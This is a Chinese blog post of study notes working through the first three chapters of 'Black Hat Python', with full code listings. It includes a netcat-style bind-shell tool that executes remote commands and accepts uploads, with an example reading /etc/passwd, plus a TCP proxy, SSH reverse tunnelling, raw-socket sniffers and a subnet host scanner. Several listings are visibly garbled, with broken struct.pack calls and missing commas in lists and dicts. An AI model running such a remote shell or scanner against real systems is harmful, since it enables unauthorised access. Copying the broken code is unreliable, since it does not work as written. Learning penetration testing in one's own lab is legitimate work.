Python 编程精选

↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑为了方便查找,请看目录(手机端就没有目录哦)

注:本文篇幅较大,请耐心等待(power by 《Python黑帽子:黑客与渗透测试编程之道 》)

终于学完了,也敲完代码了,其中有好几个都没成功实践出作者的预期结果,知道我哪里错的,欢迎指点。

最后感谢 用户  mackf qq_31229763 的鼓励



全部代码下载(github):我手敲的代码,中文注释(还添加了自己的注释),也有作者提供的源码,不过作者的不完整,我的还包含了字典什么的[这是个超链接]


第一章设置Python环境

kali虚拟机

开始用pip安装github3.py,没什么问题

跟着安装WingIDE,下载Linux对应位数的版本的deb,就行了,但是产生了依赖


于是修改软件源APT-sources.list

vim /etc/apt/sources.list

将原来的注释掉,加了个阿里的

#阿里云kali源

deb http://mirrors.aliyun.com/kali sana main non-free contrib

deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

apt-get update & apt-get upgrade

apt-get -f install

最后再安装deb文件就行了,命令如上面截图



因为wingide收费版才有自动补全,那就用有现成序列号的pycharm4.5吧~~,没补全真难受



第二章网络基础


TCP客户端


可以看到百度返回的HTTP响应啦


UDP客户端


首先先用nc监听一下9999端口,-u就是udp模式的啦,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据咯

现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议

发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思


TCP服务器

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2. import  socket  
  3. import threading  
  4.   
  5. bind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址  
  6. bind_port = 8888  
  7.   
  8. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  9.   
  10. server.bind((bind_ip, bind_port))  
  11. # 最大连接数为5  
  12. server.listen(5)  
  13.   
  14. print "[*] Listening on %s:%d" % (bind_ip, bind_port)  
  15.   
  16. # 这是客户处理进程  
  17. def handle_client(client_socket):  
  18.     #打印出客户端发送得到的内容  
  19.     request = client_socket.recv(1024)  
  20.   
  21.     print "[*] Received: %s" % request  
  22.   
  23.     #发送一个数据包  
  24.     client_socket.send("ACK!")  
  25.     client_socket.close()  
  26.   
  27.   
  28. while True:  
  29.     client,addr = server.accept()  
  30.   
  31.     print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])  
  32.   
  33.     #挂起客户端线程,处理传人的数据  
  34.     client_handler = threading.Thread(target=handle_client, args=(client,))  
  35.     client_handler.start()  

用之前的tcp客户端连接,收到信息了

同时,服务端也收到了客户端发来的信息



取代netcat

代码:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #-*- coding:utf8 -*-  
  3. import sys  
  4. import socket  
  5. import getopt  
  6. import threading  
  7. import subprocess  
  8.   
  9. # 定义一些全局变量  
  10. listen = False  
  11. command = False  
  12. upload = False  
  13. execute = ""  
  14. target = ""  
  15. upload_destination = ""  
  16. port = 0  
  17.   
  18. def run_command(command):  
  19.   
  20.     # 删除字符串末尾的空格  
  21.     command = command.rstrip()  
  22.     # 运行命令并将输出放回  
  23.     try:  
  24.         output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)  
  25.     except:  
  26.         output = "Failed to execute command.\r\n"  
  27.     # 将输出发送  
  28.     return output  
  29.   
  30.   
  31. def client_handler(client_socket):  
  32.     global upload  
  33.     global execute  
  34.     global command  
  35.   
  36.     # 检查上传文件  
  37.     if len(upload_destination):  
  38.         # 读取所有的字符并写下目标  
  39.         file_buffer = ""  
  40.         # 持续读取数据直到没有符合的数据  
  41.         while True:  
  42.             data = client_socket.recv(1024)  
  43.   
  44.             if not data:  
  45.                 break  
  46.             else:  
  47.                 file_buffer += data  
  48.   
  49.         try:  
  50.             file_descriptor = open(upload_destination, "wb")  
  51.             file_descriptor.write(file_buffer)  
  52.             file_descriptor.close()  
  53.   
  54.             client_socket.send("Successfully saved file to %s\r\n" % upload_destination)  
  55.         except:  
  56.             client_socket.send("Failed to save file to %s\r\n" % upload_destination)  
  57.   
  58.     # 检查命令执行  
  59.     if len(execute):  
  60.         # 运行命令  
  61.         output = run_command(execute)  
  62.         client_socket.send(output)  
  63.   
  64.   
  65.     # 如果需要一个命令行shell,那么我们进入另一个循环  
  66.     if command:  
  67.         while True:  
  68.             # 跳出一个窗口  
  69.             client_socket.send("")  
  70.   
  71.             cmd_buffer = ""  
  72.             while "\n" not in cmd_buffer:  
  73.                 cmd_buffer += client_socket.recv(1024)  
  74.             #  返回命令输出  
  75.             response = run_command(cmd_buffer)  
  76.             # 返回响应数据  
  77.             client_socket.send(response)  
  78.   
  79. def server_loop():  
  80.     global target  
  81.   
  82.     # 如果没有定义目标,那我们监听所有接口  
  83.     if not len(target):  
  84.         target = "0.0.0.0"  
  85.   
  86.     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  87.     server.bind((target, port))  
  88.   
  89.     server.listen(5)  
  90.   
  91.     while True:  
  92.         client_socket, addr = server.accept()  
  93.         # 分拆一个线程处理新的客户端  
  94.         client_thread = threading.Thread(target=client_handler, args=(client_socket,))  
  95.         client_thread.start()  
  96.   
  97. def client_sender(buffer):  
  98.     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  99.   
  100.     try:  
  101.         # 连接到目标主机  
  102.         client.connect((target, port))  
  103.   
  104.         if len(buffer):  
  105.             client.send(buffer)  
  106.   
  107.         while True:  
  108.             # 现在等待数据回传  
  109.             recv_len = 1  
  110.             response = ""  
  111.   
  112.             while recv_len:  
  113.                 data = client.recv(4096)  
  114.                 recv_len = len(data)  
  115.                 response += data  
  116.   
  117.                 if recv_len < 4096:  
  118.                     break  
  119.   
  120.             print  response  
  121.   
  122.             # 等待更多的输入  
  123.             buffer = raw_input("")  
  124.             buffer += "\n"  
  125.   
  126.             # 发送出去  
  127.             client.send(buffer)  
  128.   
  129.     except:  
  130.         print "[*] Exception! Exiting."  
  131.   
  132.     #关闭连接  
  133.     client.close()  
  134.   
  135. def usage():  
  136.     print "BHP Net Tool"  
  137.     print  
  138.     print "Usage: bhpnet.py -t target_host - p port"  
  139.     print "-l --listen              - listen on [host]:[port] for incoming connections"  
  140.     print "-e --execute=file_to_run -execute the given file upon receiving a connection"  
  141.     print "-c --command             - initialize a commandshell"  
  142.     print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"  
  143.     print  
  144.     print  
  145.     print "Examples:"  
  146.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"  
  147.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"  
  148.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""  
  149.     print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"  
  150.     sys.exit(0)  
  151.   
  152. def main():  
  153.     global listen  
  154.     global port  
  155.     global execute  
  156.     global command  
  157.     global upload_destination  
  158.     global target  
  159.   
  160.     if not  len(sys.argv[1:]):  
  161.         usage()  
  162.   
  163.   
  164.     # 读取命令行选项,若没有该选项则显示用法  
  165.     try:  
  166.         opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help""listen""execute""target""port""command""upload"])  
  167.     except getopt.GetoptError as err:  
  168.         print str(err)  
  169.         usage()  
  170.   
  171.   
  172.     for o,a in opts:  
  173.         if o in ("-h","--help"):  
  174.             usage()  
  175.         elif o in ("-l""--listen"):  
  176.             listen = True  
  177.         elif o in ("-e""--execute"):  
  178.             execute = a  
  179.         elif o in ("-c""--commandshell"):  
  180.             command = True  
  181.         elif o in ("-u""--upload"):  
  182.             upload_destination = a  
  183.         elif o in ("-t""--target"):  
  184.             target = a  
  185.         elif o in ("-p""--port"):  
  186.             port = int(a)  
  187.         else:  
  188.             assert False,"Unhandled Option"  
  189.   
  190.     #我们是进行监听还是仅从标准输入读取数据并发送数据?  
  191.     if not listen and len(target) and port > 0:  
  192.   
  193.         # 从命令行读取内存数据  
  194.         # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D  
  195.         buffer = sys.stdin.read()  
  196.   
  197.         # 发送数据  
  198.         client_sender(buffer)  
  199.   
  200.     # 我们开始监听并准备上传文件,执行命令  
  201.     # 放置一个反弹shell  
  202.     # 取决于上面的命令行选项  
  203.     if listen:  
  204.         server_loop()  
  205.   
  206. #调用main函数  
  207. main()  

一开始没在前头打python,默认是不是用python解析运行的,所以会出错,kali就会变成截图了


下面的客户端连接时,连接后要按CTRL+D让其返回shell



如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话)




创建一个TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first]           //最后一个参数是 是否从远程服务器(主机)接收数据


可以看到这个是监听本地的80端口,远程主机就是百度的域名,也是80端口,那么我们将代理设置为127.0.0.1 80的话,其实我们只能访问百度,因为开代理时已决定了你要访问的域名(主机),具体看下图


设置完代理,再打开百度,我们在下图可看到GET请求的全部内容,这确实比我们直接访问百度多了一跳。

过程如下:

浏览器将GET请求发送给本地的80端口,又我们的程序监听的是本地的80端口,就会将GET请求发送给远程主机(即我们开启程序时设置的www.baidu.com的80端口),最后再将www.baidu.com返回的数据给回程序,再给回浏览器(那为什么我们访问其他网址或ip不能呢,就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么,那当然不会,所以就只能访问百度域名下的各种目录)


还有返回的响应数据,其实我觉得这好像在抓包了



通过Paramiko使用SSH

首先安装paramiko模块,还是去了点小问题,好像是安装过了吧,要我升级一下?


代码(这里也是可以用密钥认证来登陆的,这里就注释掉了)


可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的。



反向ssh

为了适应非默认端口,改了一下作者的客户端代码,修改处已圈出


可能是什么权限什么的,认证成功,最后连接不成功


在kali测试还是一样~~,有谁告诉我原因,我只有那个私钥和作者不一样啊~~~



ssh隧道

建议看一下这篇文章,你会对ssh隧道的理解更直观,我的理解简单来说就是一条管道,其实别人说隧道也觉得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html


在本地用locate命令找不到paramiko的示例文件rforward.py,最终通过谷歌终于找到了,原来在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那个test_rsa.key文件也在上面了



一开始将我的树莓派(192.168.88.102)作为ssh客户端,端口为5556,,与kali(10.10.10.145:6666)建立一个反向ssh隧道

在服务端kaili执行

[python]  view plain  copy
 
  1. python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:6666  --user pi --password  


跟着kali端  

[python]  view plain  copy
 
  1. nc -l 6666  

但在树莓派执行

[python]  view plain  copy
 
  1. nc 127.0.0.1 5556  
并不能连接,出错了(说是拒绝),详见下图最后一行


于是就尝试kali的22端口

[python]  view plain  copy
 
  1. python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:22  --user pi --password  


可以看到成功了,而且隧道建立后树莓派那边(客户端)的127.0.0.1:5556处于监听状态,我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~





第三章 网络:原始套接字和流量嗅探


Windows和Linux上的包嗅探

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3.   
  4. import socket  
  5. import os  
  6.   
  7.   
  8. # 监听主机,即监听那个网络接口,下面的为我的kali的ip  
  9. host = "10.10.10.145"  
  10.   
  11.   
  12. # 创建原始套接字,然后绑定在公开接口上  
  13. if  os.name == "nt":  
  14.     socket_protocol = socket.IPPROTO_IP  
  15. else:  
  16.     socket_protocol = socket.IPPROTO_ICMP  
  17.   
  18.   
  19. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧  
  20.   
  21.   
  22. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~  
  23.   
  24.   
  25. # 设置在捕获的数据包中包含IP头  
  26. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  
  27.   
  28.   
  29. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式  
  30. if os.name == "nt":  
  31.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO)  
  32.   
  33.   
  34. # 读取单个数据包  
  35. print sniffer.recvfrom(65565)  
  36.   
  37.   
  38. # 在Windows平台上关闭混杂模式  
  39. if os.name == "nt":  
  40.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)  


运行结果:可以看到成功抓取到了ping的包,虽然前面的看不懂,但最后的ip机看得懂了



解码IP层

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. import socket  
  4. import os  
  5. import struct  
  6. from ctypes import *  
  7.   
  8. # 监听主机,即监听那个网络接口,下面的ip为我的kali的ip  
  9. host = "10.10.10.145"  
  10.   
  11. # ip头定义  
  12. class IP(Structure):  
  13.     _fields_ = [  
  14.         ("ihl",             c_ubyte, 4),    #ip head length:头长度  
  15.         ("version",         c_ubyte, 4),    #版本  
  16.         ("tos",             c_ubyte),       #服务类型  
  17.         ("len",             c_ushort),      #ip数据包总长度  
  18.         ("id",              c_ushort),       #标识符  
  19.         ("offset",          c_ushort),      #片偏移  
  20.         ("ttl",             c_ubyte),       #生存时间  
  21.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表  
  22.         ("sum",             c_ushort),      #头部校验和  
  23.         ("src",             c_ulong),       #源ip地址  
  24.         ("dst",             c_ulong)        #目的ip地址  
  25.     ]  
  26.   
  27.     # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身  
  28.     def __new__(self, socket_buffer=None):  
  29.         return  self.from_buffer_copy(socket_buffer)  
  30.   
  31.     # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】  
  32.     def __init__(self, socket_buffer=None):  
  33.         # 协议字段与协议名称的对应  
  34.         self.protocol_map = {1:"ICMP"6:"TCP"17:"UDP"}  
  35.   
  36.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)  
  37.         self.src_address = socket.inet_ntoa(struct.pack("self.src))  
  38.         self.dst_address = socket.inet_ntoa(struct.pack("self.dst))  
  39.   
  40.         # 协议类型  
  41.         try:  
  42.             self.protocol = self.protocol_map[self.protocol_num]  
  43.         except:  
  44.             self.protocol = str(self.protocol_num)  
  45.   
  46.   
  47.   
  48. if  os.name == "nt":  
  49.     socket_protocol = socket.IPPROTO_IP  
  50. else:  
  51.     socket_protocol = socket.IPPROTO_ICMP  
  52.   
  53. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧  
  54.   
  55. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~  
  56.   
  57. # 设置在捕获的数据包中包含IP头  
  58. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  
  59.   
  60. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式  
  61. if os.name == "nt":  
  62.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)  
  63. try:  
  64.     while True:  
  65.         # 读取数据包  
  66.         raw_buffer =  sniffer.recvfrom(65565)[0]  
  67.   
  68.         # 将缓冲区的前20个字节按IP头进行解析  
  69.         ip_header = IP(raw_buffer[0:20])  
  70.   
  71.         # 输出协议和通信双方IP地址  
  72.         print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)  
  73.   
  74. # 处理CTRL-C  
  75. except  KeyboardInterrupt:  
  76.   
  77.     # 如果运行再Windows上,关闭混杂模式  
  78.     if os.name == "nt":  
  79.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)  

在windows 7运行结果,我开的软件比较多,抓取数据速度还是很快


但在kali就又出问题了,不知道为什么,20改成32也不行,因为解析是按20字节解析的


放到我的树莓派去试试吧~,一开始没用sudo,应该是原始套接字需要较高权限,毕竟比较底层的东西

跟着呢就ping了两下百度,也抓取到了,ip是没错的,linux只能抓icmp的,所以只能看到这两条了,不然还能看到树莓派其他软件的网络数据流量





解码ICMP

这是一个完整的ICMP类型的列表:从百科复制过来的,以便于分析
type=3且code=3就说明主机存在,因为发送UDP数据到关闭的端口会产生type=3且code=3的ICMP包,如果不存在这样的主机他是不会回复的
TYPE CODE Description Query Error
0 0 Echo Reply——回显应答(Ping应答) x  
3 0 Network Unreachable——网络不可达   x
3 1 Host Unreachable——主机不可达   x
3 2 Protocol Unreachable——协议不可达   x
3 3 Port Unreachable——端口不可达   x
3 4 Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特   x
3 5 Source routing failed——源站选路失败   x
3 6 Destination network unknown——目的网络未知   x
3 7 Destination host unknown——目的主机未知   x
3 8 Source host isolated (obsolete)——源主机被隔离(作废不用)   x
3 9 Destination network administratively prohibited——目的网络被强制禁止   x
3 10 Destination host administratively prohibited——目的主机被强制禁止   x
3 11 Network unreachable for TOS——由于服务类型TOS,网络不可达   x
3 12 Host unreachable for TOS——由于服务类型TOS,主机不可达   x
3 13 Communication administratively prohibited by filtering——由于过滤,通信被强制禁止   x
3 14 Host precedence violation——主机越权   x
3 15 Precedence cutoff in effect——优先中止生效   x
4 0 Source quench——源端被关闭(基本流控制)    
5 0 Redirect for network——对网络重定向    
5 1 Redirect for host——对主机重定向    
5 2 Redirect for TOS and network——对服务类型和网络重定向    
5 3 Redirect for TOS and host——对服务类型和主机重定向    
8 0 Echo request——回显请求(Ping请求) x  
9 0 Router advertisement——路由器通告    
10 0 Route solicitation——路由器请求    
11 0 TTL equals 0 during transit——传输期间生存时间为0   x
11 1 TTL equals 0 during reassembly——在数据报组装期间生存时间为0   x
12 0 IP header bad (catchall error)——坏的IP首部(包括各种差错)   x
12 1 Required options missing——缺少必需的选项   x
13 0 Timestamp request (obsolete)——时间戳请求(作废不用) x  
14   Timestamp reply (obsolete)——时间戳应答(作废不用) x  
15 0 Information request (obsolete)——信息请求(作废不用) x  
16 0 Information reply (obsolete)——信息应答(作废不用) x  
17 0 Address mask request——地址掩码请求 x  
18 0 Address mask reply——地址掩码应答    

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. import socket  
  4. import os  
  5. import struct  
  6. from ctypes import *  
  7.   
  8. # 监听主机,即监听那个网络接口,下面的ip为我的kali的ip  
  9. host = "10.10.10.145"  
  10.   
  11. # ip头定义  
  12. class IP(Structure):  
  13.     _fields_ = [  
  14.         ("ihl",             c_ubyte, 4),    #ip head length:头长度  
  15.         ("version",         c_ubyte, 4),    #版本  
  16.         ("tos",             c_ubyte),       #服务类型  
  17.         ("len",             c_ushort),      #ip数据包总长度  
  18.         ("id",              c_ushort),       #标识符  
  19.         ("offset",          c_ushort),      #片偏移  
  20.         ("ttl",             c_ubyte),       #生存时间  
  21.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表  
  22.         ("sum",             c_ushort),      #头部校验和  
  23.         ("src",             c_ulong),       #源ip地址  
  24.         ("dst",             c_ulong)        #目的ip地址  
  25.     ]  
  26.   
  27.     # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身  
  28.     def __new__(self, socket_buffer=None):  
  29.         return  self.from_buffer_copy(socket_buffer)  
  30.   
  31.     # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】  
  32.     def __init__(self, socket_buffer=None):  
  33.         # 协议字段与协议名称的对应  
  34.         self.protocol_map = {1:"ICMP"6:"TCP"17:"UDP"}  
  35.   
  36.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)  
  37.         self.src_address = socket.inet_ntoa(struct.pack("self.src))  
  38.         self.dst_address = socket.inet_ntoa(struct.pack("self.dst))  
  39.   
  40.         # 协议类型  
  41.         try:  
  42.             self.protocol = self.protocol_map[self.protocol_num]  
  43.         except:  
  44.             self.protocol = str(self.protocol_num)  
  45.   
  46.   
  47. class ICMP(Structure):  
  48.     #  
  49.     _fields_ = [  
  50.         ("type",            c_ubyte),       #类型  
  51.         ("code",            c_ubyte),       #代码值  
  52.         ("checksum",        c_ubyte),       #头部校验和  
  53.         ("unused",          c_ubyte),       #未使用  
  54.         ("next_hop_mtu",    c_ubyte)        #下一跳的MTU  
  55.     ]  
  56.   
  57.     def __new__(self, socket_buffer):  
  58.         return self.from_buffer_copy(socket_buffer)  
  59.   
  60.     def __init__(self, socket_buffer):  
  61.         pass  
  62.   
  63.   
  64. if  os.name == "nt":  
  65.     socket_protocol = socket.IPPROTO_IP  
  66. else:  
  67.     socket_protocol = socket.IPPROTO_ICMP  
  68.   
  69. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧  
  70.   
  71. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~  
  72.   
  73. # 设置在捕获的数据包中包含IP头  
  74. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  
  75.   
  76. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式  
  77. if os.name == "nt":  
  78.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)  
  79.   
  80. try:  
  81.     while True:  
  82.         # 读取数据包  
  83.         raw_buffer =  sniffer.recvfrom(65565)[0]  
  84.   
  85.         # 将缓冲区的前20个字节按IP头进行解析  
  86.         ip_header = IP(raw_buffer[0:20])  
  87.   
  88.         # 输出协议和通信双方IP地址  
  89.         print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)  
  90.   
  91.         # 如果为ICMP,进行处理  
  92.         if ip_header.protocol == "ICMP":  
  93.   
  94.             # 计算ICMP包的起始位置,并获取ICMP包的数据  
  95.             offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]  
  96.             buf = raw_buffer[offset:offset+sizeof(ICMP)]  
  97.   
  98.             # 解析ICMP数据  
  99.             icmp_header = ICMP(buf)  
  100.   
  101.             print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)  
  102.   
  103. # 处理CTRL-C  
  104. except  KeyboardInterrupt:  
  105.   
  106.     # 如果运行再Windows上,关闭混杂模式  
  107.     if os.name == "nt":  
  108.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)  



下面看看ping通的情况 看上表,可看出是一个ping请求,一个ping应答


udp主机存活扫描器

首先要安装netaddr第三方库,这个处理IP非常方便

[python]  view plain  copy
 
  1. easy_install netaddr  
如果没有这个命令,就要可能下载配置咯,具体百度,谷歌吧~


代码如下,改了一句作者的代码,让要扫描的目标网络接收命令行参数,默认就192.168.1.0/24

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. import socket  
  4. import os  
  5. import struct  
  6. import threading  
  7. import time  
  8. import sys  
  9. from netaddr import IPNetwork,IPAddress  
  10. from ctypes import *  
  11.   
  12. # 监听主机,即监听那个网络接口,下面的ip为我的kali的ip  
  13. host = "10.10.10.145"  
  14.   
  15. # 扫描的目标子网  
  16. # subnet = "192.168.1.0/24"  
  17. # 没有命令行参数,默认192.168.1.0/24  
  18. if len(sys.argv) == 1:  
  19.     subnet = "192.168.1.0/24"  
  20. else:  
  21.     subnet = sys.argv[1]  
  22.   
  23. # 自定义的字符串,我们将在ICMP响应中进行核对  
  24. magic_message = "PYTHONRULES!"  
  25.   
  26. # 批量发送UDP数据包  
  27. def udp_sender(subnet, magic_message):  
  28.     time.sleep(5)   #可以说程序暂停5秒吧  
  29.     # 建立一个socket对象(SOCK_DGRAM:UDP客户端)  
  30.     sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
  31.   
  32.     for ip in IPNetwork(subnet):  
  33.         try:  
  34.             # 尝试发送magic_message这个消息到子网的每个ip,还用了个不怎么可能用的65212端口  
  35.             sender.sendto(magic_message, ("%s" % ip, 65212))  
  36.         except:  
  37.             pass    #代表什么也不做  
  38.   
  39. # ip头定义  
  40. class IP(Structure):  
  41.     _fields_ = [  
  42.         ("ihl",             c_ubyte, 4),    #ip head length:头长度  
  43.         ("version",         c_ubyte, 4),    #版本  
  44.         ("tos",             c_ubyte),       #服务类型  
  45.         ("len",             c_ushort),      #ip数据包总长度  
  46.         ("id",              c_ushort),       #标识符  
  47.         ("offset",          c_ushort),      #片偏移  
  48.         ("ttl",             c_ubyte),       #生存时间  
  49.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表  
  50.         ("sum",             c_ushort),      #头部校验和  
  51.         ("src",             c_ulong),       #源ip地址  
  52.         ("dst",             c_ulong)        #目的ip地址  
  53.     ]  
  54.   
  55.     # __new__(cls, *args, **kwargs)  创建对象时调用,返回当前对象的一个实例;注意:这里的第一个参数是cls即class本身  
  56.     def __new__(self, socket_buffer=None):  
  57.         return  self.from_buffer_copy(socket_buffer)  
  58.   
  59.     # __init__(self, *args, **kwargs) 创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回的实例初始化;注意,这里的第一个参数是self即对象本身【注意和new的区别】  
  60.     def __init__(self, socket_buffer=None):  
  61.         # 协议字段与协议名称的对应  
  62.         self.protocol_map = {1:"ICMP"6:"TCP"17:"UDP"}  
  63.   
  64.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)  
  65.         self.src_address = socket.inet_ntoa(struct.pack("self.src))  
  66.         self.dst_address = socket.inet_ntoa(struct.pack("self.dst))  
  67.   
  68.         # 协议类型  
  69.         try:  
  70.             self.protocol = self.protocol_map[self.protocol_num]  
  71.         except:  
  72.             self.protocol = str(self.protocol_num)  
  73.   
  74.   
  75. class ICMP(Structure):  
  76.     #  
  77.     _fields_ = [  
  78.         ("type",            c_ubyte),       #类型  
  79.         ("code",            c_ubyte),       #代码值  
  80.         ("checksum",        c_ubyte),       #头部校验和  
  81.         ("unused",          c_ubyte),       #未使用  
  82.         ("next_hop_mtu",    c_ubyte)        #下一跳的MTU  
  83.     ]  
  84.   
  85.     def __new__(self, socket_buffer):  
  86.         return self.from_buffer_copy(socket_buffer)  
  87.   
  88.     def __init__(self, socket_buffer):  
  89.         pass  
  90.   
  91.   
  92. if  os.name == "nt":  
  93.     socket_protocol = socket.IPPROTO_IP  
  94. else:  
  95.     socket_protocol = socket.IPPROTO_ICMP  
  96.   
  97. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧  
  98.   
  99. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~  
  100.   
  101. # 设置在捕获的数据包中包含IP头  
  102. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  
  103.   
  104. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式  
  105. if os.name == "nt":  
  106.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)  
  107.   
  108. # 开启多线程发送udp数据包  
  109. t = threading.Thread(target=udp_sender, args=(subnet, magic_message))  
  110. t.start()  
  111.   
  112. try:  
  113.     while True:  
  114.         # 读取数据包  
  115.         raw_buffer =  sniffer.recvfrom(65565)[0]  
  116.   
  117.         # 将缓冲区的前20个字节按IP头进行解析  
  118.         ip_header = IP(raw_buffer[0:20])  
  119.   
  120.         # 输出协议和通信双方IP地址  
  121.         #print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)  
  122.   
  123.         # 如果为ICMP,进行处理  
  124.         if ip_header.protocol == "ICMP":  
  125.   
  126.             # 计算ICMP包的起始位置,并获取ICMP包的数据  
  127.             offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]  
  128.             buf = raw_buffer[offset:offset+sizeof(ICMP)]  
  129.   
  130.             # 解析ICMP数据  
  131.             icmp_header = ICMP(buf)  
  132.   
  133.             #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)  
  134.   
  135.             # 检查类型和代码值是否都为3  
  136.             if icmp_header.type == 3 and icmp_header.code == 3:  
  137.                 # 确认响应的主机再我们的目标子网之内  
  138.                 if IPAddress(ip_header.src_address) in IPNetwork(subnet):  
  139.                     # 确认ICMP包中包含我们发送的自定义的字符串  
  140.                     if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:  
  141.                         print "Host Up: %s" % ip_header.src_address  
  142.   
  143.   
  144.   
  145. # 处理CTRL-C  
  146. except  KeyboardInterrupt:  
  147.   
  148.     # 如果运行再Windows上,关闭混杂模式  
  149.     if os.name == "nt":  
  150.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)  

运行结果:


跟我手机的fing扫描的相比,少了我的手机的ip和另外一个我同学的手机,难道小米有防护?应该只能扫电脑了

值得肯定的是,跟360防蹭网的结果是一样的,说明360的估计方法用的差不多,详细见下一张图的下一张

fing还是挺强大的,能识别主流设备,如树莓派,小米手机等,详细见下图




